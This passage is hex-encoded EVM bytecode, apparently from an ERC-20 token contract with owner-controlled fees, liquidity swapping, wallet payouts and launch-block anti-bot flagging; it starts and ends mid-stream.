00819050919050565b600060ff82169050919050565b600062000ac18262000a9d565b915062000ace8362000aa7565b925062000afd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009b1565b905092915050565b600062000b128262000a9d565b915062000b1f8362000a9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b5b5762000b5a6200091a565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b988262000b6b565b9050919050565b62000baa8162000b8b565b811462000bb657600080fd5b50565b60008151905062000bca8162000b9f565b92915050565b60006020828403121562000be95762000be862000b66565b5b600062000bf98482850162000bb9565b91505092915050565b62000c0d8162000b8b565b82525050565b600060408201905062000c2a600083018562000c02565b62000c39602083018462000c02565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c89601f8362000c40565b915062000c968262000c51565b602082019050919050565b6000602082019050818103600083015262000cbc8162000c7a565b9050919050565b600062000cd08262000a9d565b915062000cdd8362000a9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000d155762000d146200091a565b5b828201905092915050565b62000d2b8162000a9d565b82525050565b600060208201905062000d48600083018462000d20565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d9657607f821691505b6020821081141562000dad5762000dac62000d4e565b5b50919050565b61481c8062000dc36000396000f3fe6080604052600436106102975760003560e01c806375f0a8741161015a578063aacebbe3116100c1578063e01af92c1161007a578063e01af92c14610a27578063e545fd6d14610a50578063e9dae5ed14610a79578063f2fde38b14610aa2578063f66895a314610acb578063f887ea4014610af85761029e565b8063aacebbe3146108f5578063b62ad5eb1461091e578063c18bc19514610947578063cd18d5a414610970578063dbe66ca0146109ad578063dd62ed3e146109ea5761029e565b80639d0014b1116101135780639d0014b1146107d35780639e252f00146107fc578063a457c2d714610825578063a8aa1b3114610862578063a9059cbb1461088d578063aa4bde28146108ca5761029e565b806375f0a874146106d557806382aa7c68146107005780638c0b5e22146107295780638cd4426d146107545780638da5cb5b1461077d57806395d89b41146107a85761029e565b806335a7f06b116101fe5780636ddd1713116101b75780636ddd1713146105d5578063703a49021461060057806370a0823114610629578063715018a614610666578063728f8eea1461067d578063751039fc146106aa5761029e565b806335a7f06b146104c757806339509351146104f057806340b28c2f1461052d5780634ada218b1461055657806350c9a88f146105815780636256d181146105ac5761029e565b80632253163d116102505780632253163d146103b557806323b872dd146103e057806326b5d32f1461041d578063274a533c14610446578063293b7ef414610471578063313ce5671461049c5761029e565b80630445b667146102a357806306fdde03146102ce57806308733214146102f9578063095ea7b31461032257806318160ddd1461035f578063185870f91461038a5761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102b8610b23565b6040516102c591906132d9565b60405180910390f35b3480156102da57600080fd5b506102e3610b29565b6040516102f0919061338d565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906133ef565b610bbb565b005b34801561032e57600080fd5b50610349600480360381019061034491906134a0565b610c97565b60405161035691906134fb565b60405180910390f35b34801561036b57600080fd5b50610374610cb5565b60405161038191906132d9565b60405180910390f35b34801561039657600080fd5b5061039f610cbf565b6040516103ac9190613525565b60405180910390f35b3480156103c157600080fd5b506103ca610ce5565b6040516103d791906132d9565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190613540565b610ceb565b60405161041491906134fb565b60405180910390f35b34801561042957600080fd5b50610444600480360381019061043f91906133ef565b610dec565b005b34801561045257600080fd5b5061045b610f57565b60405161046891906132d9565b60405180910390f35b34801561047d57600080fd5b50610486610f5d565b60405161049391906132d9565b60405180910390f35b3480156104a857600080fd5b506104b1610f63565b6040516104be91906135af565b60405180910390f35b3480156104d357600080fd5b506104ee60048036038101906104e991906135ca565b610f6c565b005b3480156104fc57600080fd5b50610517600480360381019061051291906134a0565b611021565b60405161052491906134fb565b60405180910390f35b34801561053957600080fd5b50610554600480360381019061054f9190613635565b6110cd565b005b34801561056257600080fd5b5061056b6111cf565b60405161057891906134fb565b60405180910390f35b34801561058d57600080fd5b506105966111e2565b6040516105a391906132d9565b60405180910390f35b3480156105b857600080fd5b506105d360048036038101906105ce9190613675565b6111e8565b005b3480156105e157600080fd5b506105ea611281565b6040516105f791906134fb565b60405180910390f35b34801561060c57600080fd5b50610627600480360381019061062291906135ca565b611294565b005b34801561063557600080fd5b50610650600480360381019061064b91906135ca565b611354565b60405161065d91906132d9565b60405180910390f35b34801561067257600080fd5b5061067b61139c565b005b34801561068957600080fd5b50610692611424565b6040516106a1939291906136a2565b60405180910390f35b3480156106b657600080fd5b506106bf61143c565b6040516106cc91906134fb565b60405180910390f35b3480156106e157600080fd5b506106ea6114dd565b6040516106f79190613525565b60405180910390f35b34801561070c57600080fd5b5061072760048036038101906107229190613675565b611503565b005b34801561073557600080fd5b5061073e611616565b60405161074b91906132d9565b60405180910390f35b34801561076057600080fd5b5061077b600480360381019061077691906134a0565b61161c565b005b34801561078957600080fd5b50610792611700565b60405161079f9190613525565b60405180910390f35b3480156107b457600080fd5b506107bd61172a565b6040516107ca919061338d565b60405180910390f35b3480156107df57600080fd5b506107fa60048036038101906107f59190613675565b6117bc565b005b34801561080857600080fd5b50610823600480360381019061081e9190613675565b611842565b005b34801561083157600080fd5b5061084c600480360381019061084791906134a0565b6118cf565b60405161085991906134fb565b60405180910390f35b34801561086e57600080fd5b506108776119c3565b6040516108849190613525565b60405180910390f35b34801561089957600080fd5b506108b460048036038101906108af91906134a0565b6119e9565b6040516108c191906134fb565b60405180910390f35b3480156108d657600080fd5b506108df611a07565b6040516108ec91906132d9565b60405180910390f35b34801561090157600080fd5b5061091c600480360381019061091791906135ca565b611a0d565b005b34801561092a57600080fd5b5061094560048036038101906109409190613821565b611acd565b005b34801561095357600080fd5b5061096e60048036038101906109699190613675565b611bbc565b005b34801561097c57600080fd5b50610997600480360381019061099291906135ca565b611c55565b6040516109a491906134fb565b60405180910390f35b3480156109b957600080fd5b506109d460048036038101906109cf91906135ca565b611c75565b6040516109e191906134fb565b60405180910390f35b3480156109f657600080fd5b50610a116004803603810190610a0c919061386a565b611c95565b604051610a1e91906132d9565b60405180910390f35b348015610a3357600080fd5b50610a4e6004803603810190610a4991906138d6565b611d1c565b005b348015610a5c57600080fd5b50610a776004803603810190610a729190613903565b611db5565b005b348015610a8557600080fd5b50610aa06004803603810190610a9b91906133ef565b611e8c565b005b348015610aae57600080fd5b50610ac96004803603810190610ac491906135ca565b611f68565b005b348015610ad757600080fd5b50610ae0612060565b604051610aef939291906136a2565b60405180910390f35b348015610b0457600080fd5b50610b0d612078565b604051610b1a91906139a2565b60405180910390f35b600a5481565b606060038054610b38906139ec565b80601f0160208091040260200160405190810160405280929190818152602001828054610b64906139ec565b8015610bb15780601f10610b8657610100808354040283529160200191610bb1565b820191906000526020600020905b815481529060010190602001808311610b9457829003601f168201915b5050505050905090565b610bc361209e565b73ffffffffffffffffffffffffffffffffffffffff16610be1611700565b73ffffffffffffffffffffffffffffffffffffffff1614610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90613a6a565b60405180910390fd5b6040518060600160405280848152602001838152602001828152506012600082015181600001556020820151816001015560408201518160020155905050808284610c829190613ab9565b610c8c9190613ab9565b601681905550505050565b6000610cab610ca461209e565b84846120a6565b6001905092915050565b6000600254905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60165481565b6000610cf8848484612271565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d4361209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610dc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dba90613b81565b60405180910390fd5b610de085610dcf61209e565b8584610ddb9190613ba1565b6120a6565b60019150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e4657600080fd5b6000479050610e548461293b565b60008147610e629190613ba1565b90506000831115610eda57610ed98385610e7c9190613ab9565b8483610e889190613bd5565b610e929190613c5e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b6000841115610f5057610f4f8385610ef29190613ab9565b8583610efe9190613bd5565b610f089190613c5e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b5050505050565b60085481565b60155481565b60006012905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fc657600080fd5b6000601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006110c361102e61209e565b84846001600061103c61209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110be9190613ab9565b6120a6565b6001905092915050565b6110d561209e565b73ffffffffffffffffffffffffffffffffffffffff166110f3611700565b73ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090613a6a565b60405180910390fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600760169054906101000a900460ff1681565b60095481565b6111f061209e565b73ffffffffffffffffffffffffffffffffffffffff1661120e611700565b73ffffffffffffffffffffffffffffffffffffffff1614611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125b90613a6a565b60405180910390fd5b670de0b6b3a7640000816112789190613bd5565b600b8190555050565b600760159054906101000a900460ff1681565b61129c61209e565b73ffffffffffffffffffffffffffffffffffffffff166112ba611700565b73ffffffffffffffffffffffffffffffffffffffff1614611310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130790613a6a565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113a461209e565b73ffffffffffffffffffffffffffffffffffffffff166113c2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90613a6a565b60405180910390fd5b6114226000612c72565b565b600f8060000154908060010154908060020154905083565b600061144661209e565b73ffffffffffffffffffffffffffffffffffffffff16611464611700565b73ffffffffffffffffffffffffffffffffffffffff16146114ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b190613a6a565b60405180910390fd5b6114c2610cb5565b600b819055506114d0610cb5565b600c819055506001905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61150b61209e565b73ffffffffffffffffffffffffffffffffffffffff16611529611700565b73ffffffffffffffffffffffffffffffffffffffff161461157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613a6a565b60405180910390fd5b600760169054906101000a900460ff16156115cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c690613cdb565b60405180910390fd5b6001600760166101000a81548160ff0219169083151502179055506001600760156101000a81548160ff021916908315150217905550436008819055508060098190555050565b600b5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461167657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61169a611700565b836040518363ffffffff1660e01b81526004016116b8929190613cfb565b6020604051808303816000875af11580156116d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116fb9190613d39565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611739906139ec565b80601f0160208091040260200160405190810160405280929190818152602001828054611765906139ec565b80156117b25780601f10611787576101008083540402835291602001916117b2565b820191906000526020600020905b81548152906001019060200180831161179557829003601f168201915b5050505050905090565b6117c461209e565b73ffffffffffffffffffffffffffffffffffffffff166117e2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f90613a6a565b60405180910390fd5b80600a8190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b6118cc816118a8611700565b73ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b50565b600080600160006118de61209e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561199b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199290613dd8565b60405180910390fd5b6119b86119a661209e565b8585846119b39190613ba1565b6120a6565b600191505092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006119fd6119f661209e565b8484612271565b6001905092915050565b600c5481565b611a1561209e565b73ffffffffffffffffffffffffffffffffffffffff16611a33611700565b73ffffffffffffffffffffffffffffffffffffffff1614611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8090613a6a565b60405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b2757600080fd5b60005b8151811015611bb857600160186000848481518110611b4c57611b4b613df8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611bb090613e27565b915050611b2a565b5050565b611bc461209e565b73ffffffffffffffffffffffffffffffffffffffff16611be2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f90613a6a565b60405180910390fd5b670de0b6b3a764000081611c4c9190613bd5565b600c8190555050565b60186020528060005260406000206000915054906101000a900460ff1681565b60176020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611d2461209e565b73ffffffffffffffffffffffffffffffffffffffff16611d42611700565b73ffffffffffffffffffffffffffffffffffffffff1614611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f90613a6a565b60405180910390fd5b80600760156101000a81548160ff02191690831515021790555050565b611dbd61209e565b73ffffffffffffffffffffffffffffffffffffffff16611ddb611700565b73ffffffffffffffffffffffffffffffffffffffff1614611e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2890613a6a565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e9461209e565b73ffffffffffffffffffffffffffffffffffffffff16611eb2611700565b73ffffffffffffffffffffffffffffffffffffffff1614611f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eff90613a6a565b60405180910390fd5b604051806060016040528084815260200183815260200182815250600f600082015181600001556020820151816001015560408201518160020155905050808284611f539190613ab9565b611f5d9190613ab9565b601581905550505050565b611f7061209e565b73ffffffffffffffffffffffffffffffffffffffff16611f8e611700565b73ffffffffffffffffffffffffffffffffffffffff1614611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb90613a6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204b90613ee2565b60405180910390fd5b61205d81612c72565b50565b60128060000154908060010154908060020154905083565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612116576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210d90613f74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217d90614006565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161226491906132d9565b60405180910390a3505050565b600081116122b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ab90614098565b60405180910390fd5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156123585750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612397576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238e90614104565b60405180910390fd5b601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561243b5750601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124545750600760149054906101000a900460ff16155b1561271057600760169054906101000a900460ff166124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f90614170565b60405180910390fd5b436009546008546124b99190613ab9565b111561261c57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461256d576001601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461261b576001601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b600b54811115612661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612658906141dc565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461270f57600c54816126c384611354565b6126cd9190613ab9565b111561270e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127059061426e565b60405180910390fd5b5b5b6000600760149054906101000a900460ff16806127765750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806127ca5750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127d8576000905061286d565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561284f5760646016548361283e9190613bd5565b6128489190613c5e565b905061286c565b60646015548361285f9190613bd5565b6128699190613c5e565b90505b5b600760159054906101000a900460ff1680156128965750600760149054906101000a900460ff16155b80156128f05750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156128fc5750600081115b1561290a57612909612d38565b5b6129208484838561291b9190613ba1565b612f3c565b600081111561293557612934843083612f3c565b5b50505050565b6000600267ffffffffffffffff811115612958576129576136de565b5b6040519080825280602002602001820160405280156129865781602001602082028036833780820191505090505b509050308160008151811061299e5761299d613df8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a6991906142a3565b81600181518110612a7d57612a7c613df8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612ae430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b489594939291906143c9565b600060405180830381600087803b158015612b6257600080fd5b505af1158015612b76573d6000803e3d6000fd5b505050505050565b80471015612bc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bb89061446f565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051612be7906144c0565b60006040518083038185875af1925050503d8060008114612c24576040519150601f19603f3d011682016040523d82523d6000602084013e612c29565b606091505b5050905080612c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c6490614547565b60405180910390fd5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760149054906101000a900460ff16612f3a576001600760146101000a81548160ff0219169083151502179055506000612d7230611354565b9050600a548110612f1d5760006002601654612d8e9190613bd5565b905060008160126001015484612da49190613bd5565b612dae9190613c5e565b905060008184612dbe9190613ba1565b90506000479050612dce8261293b565b60008147612ddc9190613ba1565b9050600060126001015486612df19190613ba1565b82612dfc9190613c5e565b9050600060126001015482612e119190613bd5565b90506000811115612e2757612e2686826131bb565b5b6000601260000154600284612e3c9190613bd5565b612e469190613bd5565b90506000811115612e9d57612e9c81600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b6000601260020154600285612eb29190613bd5565b612ebc9190613bd5565b90506000811115612f1357612f1281600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612b7e90919063ffffffff16565b5b5050505050505050505b506000600760146101000a81548160ff0219169083151502179055505b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fa3906145d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561301c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130139061466b565b60405180910390fd5b6130278383836132bb565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156130ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130a4906146fd565b60405180910390fd5b81816130b99190613ba1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546131499190613ab9565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131ad91906132d9565b60405180910390a350505050565b6131e830600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846120a6565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016132719695949392919061471d565b60606040518083038185885af115801561328f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906132b49190614793565b5050505050565b505050565b6000819050919050565b6132d3816132c0565b82525050565b60006020820190506132ee60008301846132ca565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561332e578082015181840152602081019050613313565b8381111561333d576000848401525b50505050565b6000601f19601f8301169050919050565b600061335f826132f4565b61336981856132ff565b9350613379818560208601613310565b61338281613343565b840191505092915050565b600060208201905081810360008301526133a78184613354565b905092915050565b6000604051905090565b600080fd5b600080fd5b6133cc816132c0565b81146133d757600080fd5b50565b6000813590506133e9816133c3565b92915050565b600080600060608486031215613408576134076133b9565b5b6000613416868287016133da565b9350506020613427868287016133da565b9250506040613438868287016133da565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061346d82613442565b9050919050565b61347d81613462565b811461348857600080fd5b50565b60008135905061349a81613474565b92915050565b600080604083850312156134b7576134b66133b9565b5b60006134c58582860161348b565b92505060206134d6858286016133da565b9150509250929050565b60008115159050919050565b6134f5816134e0565b82525050565b600060208201905061351060008301846134ec565b92915050565b61351f81613462565b82525050565b600060208201905061353a6000830184613516565b92915050565b600080600060608486031215613559576135586133b9565b5b60006135678682870161348b565b93505060206135788682870161348b565b9250506040613589868287016133da565b9150509250925092565b600060ff82169050919050565b6135a981613593565b82525050565b60006020820190506135c460008301846135a0565b92915050565b6000602082840312156135e0576135df6133b9565b5b60006135ee8482850161348b565b91505092915050565b600061360282613462565b9050919050565b613612816135f7565b811461361d57600080fd5b50565b60008135905061362f81613609565b92915050565b6000806040838503121561364c5761364b6133b9565b5b600061365a85828601613620565b925050602061366b8582860161348b565b9150509250929050565b60006020828403121561368b5761368a6133b9565b5b6000613699848285016133da565b91505092915050565b60006060820190506136b760008301866132ca565b6136c460208301856132ca565b6136d160408301846132ca565b949350505050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61371682613343565b810181811067ffffffffffffffff82111715613735576137346136de565b5b80604052505050565b60006137486133af565b9050613754828261370d565b919050565b600067ffffffffffffffff821115613774576137736136de565b5b602082029050602081019050919050565b600080fd5b600061379d61379884613759565b61373e565b905080838252602082019050602084028301858111156137c0576137bf613785565b5b835b818110156137e957806137d5888261348b565b8452602084019350506020810190506137c2565b5050509392505050565b600082601f830112613808576138076136d9565b5b813561381884826020860161378a565b91505092915050565b600060208284031215613837576138366133b9565b5b600082013567ffffffffffffffff811115613855576138546133be565b5b613861848285016137f3565b91505092915050565b60008060408385031215613881576138806133b9565b5b600061388f8582860161348b565b92505060206138a08582860161348b565b9150509250929050565b6138b3816134e0565b81146138be57600080fd5b50565b6000813590506138d0816138aa565b92915050565b6000602082840312156138ec576138eb6133b9565b5b60006138fa848285016138c1565b91505092915050565b6000806040838503121561391a576139196133b9565b5b60006139288582860161348b565b9250506020613939858286016138c1565b9150509250929050565b6000819050919050565b600061396861396361395e84613442565b613943565b613442565b9050919050565b600061397a8261394d565b9050919050565b600061398c8261396f565b9050919050565b61399c81613981565b82525050565b60006020820190506139b76000830184613993565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613a0457607f821691505b60208210811415613a1857613a176139bd565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a546020836132ff565b9150613a5f82613a1e565b602082019050919050565b60006020820190508181036000830152613a8381613a47565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ac4826132c0565b9150613acf836132c0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b0457613b03613a8a565b5b828201905092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613b6b6028836132ff565b9150613b7682613b0f565b604082019050919050565b60006020820190508181036000830152613b9a81613b5e565b9050919050565b6000613bac826132c0565b9150613bb7836132c0565b925082821015613bca57613bc9613a8a565b5b828203905092915050565b6000613be0826132c0565b9150613beb836132c0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613c2457613c23613a8a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c69826132c0565b9150613c74836132c0565b925082613c8457613c83613c2f565b5b828204905092915050565b7f54726164696e6720616c72656164792061637469766500000000000000000000600082015250565b6000613cc56016836132ff565b9150613cd082613c8f565b602082019050919050565b60006020820190508181036000830152613cf481613cb8565b9050919050565b6000604082019050613d106000830185613516565b613d1d60208301846132ca565b9392505050565b600081519050613d33816138aa565b92915050565b600060208284031215613d4f57613d4e6133b9565b5b6000613d5d84828501613d24565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f